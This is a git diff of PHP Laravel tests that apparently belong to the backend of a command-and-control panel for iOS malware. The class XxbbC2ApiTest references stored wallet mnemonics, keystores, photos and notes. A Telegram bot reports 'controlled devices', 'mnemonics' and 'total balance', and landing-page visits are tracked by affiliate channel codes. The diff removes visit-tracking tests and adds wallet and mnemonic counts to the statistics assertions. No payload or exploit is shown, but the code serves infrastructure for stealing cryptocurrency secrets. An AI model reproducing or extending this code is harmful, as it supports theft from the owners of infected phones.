public function hit_records_visit_with_parsed_ua(): void
|
||||
{
|
||||
@@ -209,10 +226,10 @@ class PageVisitTest extends TestCase
|
||||
->assertJsonPath('data.effective_pv', 3)
|
||||
->assertJsonPath('data.effective_uv', 2)
|
||||
->assertJsonPath('data.by_os.0.label', 'iOS')
|
||||
->assertJsonPath('data.by_os.0.pv', 5)
|
||||
->assertJsonPath('data.by_os.0.uv', 4)
|
||||
->assertJsonPath('data.by_os.1.label', '其他')
|
||||
->assertJsonPath('data.by_os.1.pv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]);
|
||||
->assertJsonPath('data.by_os.1.uv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -287,6 +287,10 @@ class TelegramBotTest extends TestCase
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$text = $last['text'] ?? '';
|
||||
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
|
||||
$this->assertStringContainsString('设备与资产', $text);
|
||||
$this->assertStringContainsString('总余额', $text);
|
||||
$this->assertStringContainsString('助记词', $text);
|
||||
$this->assertStringContainsString('受控设备 · 系统版本', $text);
|
||||
$this->assertStringContainsString('按 iOS 版本', $text);
|
||||
$this->assertStringContainsString($channel, $text);
|
||||
}
|
||||
|
||||
@@ -6,7 +6,6 @@ use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -14,7 +13,6 @@ use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -46,87 +44,6 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->call('HEAD', '/vhx')->assertOk();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_records_page_visit(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => $ua,
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
]))->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('56885688', $row->channel_id);
|
||||
$this->assertSame('xxbb.tv', $row->domain);
|
||||
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
|
||||
$this->assertNotSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertNull($row->session_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_prefers_ua_patch_over_coarse_device_version(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1';
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => $ua,
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 15.8',
|
||||
'domain' => 'xxbb.tv',
|
||||
]))->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('15.8.4', $row->os_version);
|
||||
$this->assertSame('Safari', $row->browser);
|
||||
$this->assertSame('15.6.7', $row->browser_version);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_dedupes_by_session_id(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$body = [
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
];
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode($body))->assertOk();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
], json_encode([
|
||||
...$body,
|
||||
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertSame(2, PageVisit::query()->count());
|
||||
$this->assertSame(
|
||||
'11111111-2222-4333-8444-555555555555',
|
||||
PageVisit::query()->orderBy('id')->value('session_id'),
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function profile_creates_device_from_device_info(): void
|
||||
{
|
||||
@@ -143,6 +60,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertNull($device->user_agent);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -480,38 +398,4 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_logs_request_to_xxbb_folder(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
|
||||
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
|
||||
@unlink($xxbbLog);
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)',
|
||||
'HTTP_HOST' => 'landing.example',
|
||||
'HTTP_CF_CONNECTING_IP' => '2001:db8::9',
|
||||
'HTTP_X_FORWARDED_FOR' => '2001:db8::9',
|
||||
'REMOTE_ADDR' => '104.16.1.1',
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
]))->assertOk();
|
||||
|
||||
$this->assertFileExists($xxbbLog);
|
||||
$xxbbBody = (string) file_get_contents($xxbbLog);
|
||||
$this->assertStringContainsString('/api/iptj', $xxbbBody);
|
||||
$this->assertStringContainsString('56885688', $xxbbBody);
|
||||
$this->assertStringContainsString('2001:db8::9', $xxbbBody);
|
||||
$this->assertStringContainsString('104.16.1.1', $xxbbBody);
|
||||
$this->assertStringContainsString('"recorded":true', $xxbbBody);
|
||||
if (is_file($c2Log)) {
|
||||
$this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user